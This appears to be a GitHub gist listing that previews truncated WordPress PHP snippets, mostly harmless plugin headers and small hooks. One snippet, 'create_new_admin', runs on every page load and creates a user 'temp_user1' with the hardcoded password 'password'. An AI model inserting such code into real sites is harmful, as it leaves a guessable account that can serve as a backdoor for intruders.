This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Plugin Name: Private Post Access | |
* Plugin URI: http://wordpress.stackexchange.com/questions/130967/get-full-page-html-for-a-non-public-wordpress-page | |
* Description: Generate and handle urls that allow access to posts in non-public status. | |
* Author: G. M. | |
* Author URI: http://wordpress.stackexchange.com/users/35541/g-m | |
* | |
*/ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('init', 'remove_feed_from_rewrite'); | |
function remove_feed_from_rewrite() { | |
global $wp_rewrite; | |
$wp_rewrite->feeds = array( 'rdf', 'rss', 'rss2', 'atom' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Plugin Name: My Sites Search | |
* Plugin URI: trepmal.com | |
* Description: | |
* Version: | |
* Author: Kailey Lampert | |
* Author URI: kaileylampert.com | |
* License: GPLv2 or later | |
* License URI: http://www.gnu.org/licenses/gpl-2.0.html |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('init', 'create_new_admin'); | |
function create_new_admin() { | |
$user_name = 'temp_user1'; | |
$password = 'password'; | |
$user_id = username_exists( $user_name ); | |
if ( ! $user_id ) { | |
$id = wp_create_user( $user_name, $password ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Plugin Name: Add Categories to Media | |
add_action( 'init', 'categories_for_media' ); | |
function categories_for_media() { | |
register_taxonomy_for_object_type( 'category', 'attachment' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'register_form', 'additional_profile_fields' ); | |
add_action( 'signup_extra_fields', 'additional_profile_fields' ); | |
function additional_profile_fields() { ?> | |
<p> | |
<label><?php _e('First Name') ?><br /> | |
<input type="text" name="first_name" id="first_name" class="input" size="25" /></label> | |
</p> | |
<p> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//Plugin Name: External Admin Link | |
new External_Admin_Link(); | |
class External_Admin_Link { | |
function __construct() { | |
add_action( 'admin_menu', array( &$this, 'menu' ) ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Ajax Password Protected | |
Plugin URI: http://trepmal.com/ | |
Description: Ajax-ified password-protected form | |
Version: 0.1 | |
Author: Kailey Lampert | |
Author URI: http://kaileylampert.com | |
Copyright (C) 2012 Kailey Lampert |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
for($n=0;$n<=100;$n++) { // To find prime number from 0 to 100 numbers. | |
if(isPrime($n)) { | |
echo $n . ' is Prime Number.<br>'; | |
} | |
} | |
function isPrime($number) { | |
for ($i =2; $i < $number; $i++) { | |
if ($number % $i == 0 && $i != $number) return false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Custom Meta Test | |
*/ | |
new CustomMetaTest; | |
class CustomMetaTest | |
{ | |
function __construct() | |
{ | |
add_action( 'add_meta_boxes' , array($this , 'metaboxDefination') ); |
OlderNewer